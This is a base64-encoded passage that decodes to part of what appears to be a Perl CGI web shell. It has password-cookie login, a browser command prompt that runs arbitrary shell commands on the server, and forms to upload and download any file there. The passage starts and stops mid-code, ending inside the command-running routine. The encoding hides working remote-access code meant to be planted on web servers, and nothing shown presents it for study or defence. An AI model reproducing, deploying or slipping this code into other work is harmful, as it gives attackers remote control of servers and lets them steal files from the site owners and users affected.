ojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nIyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0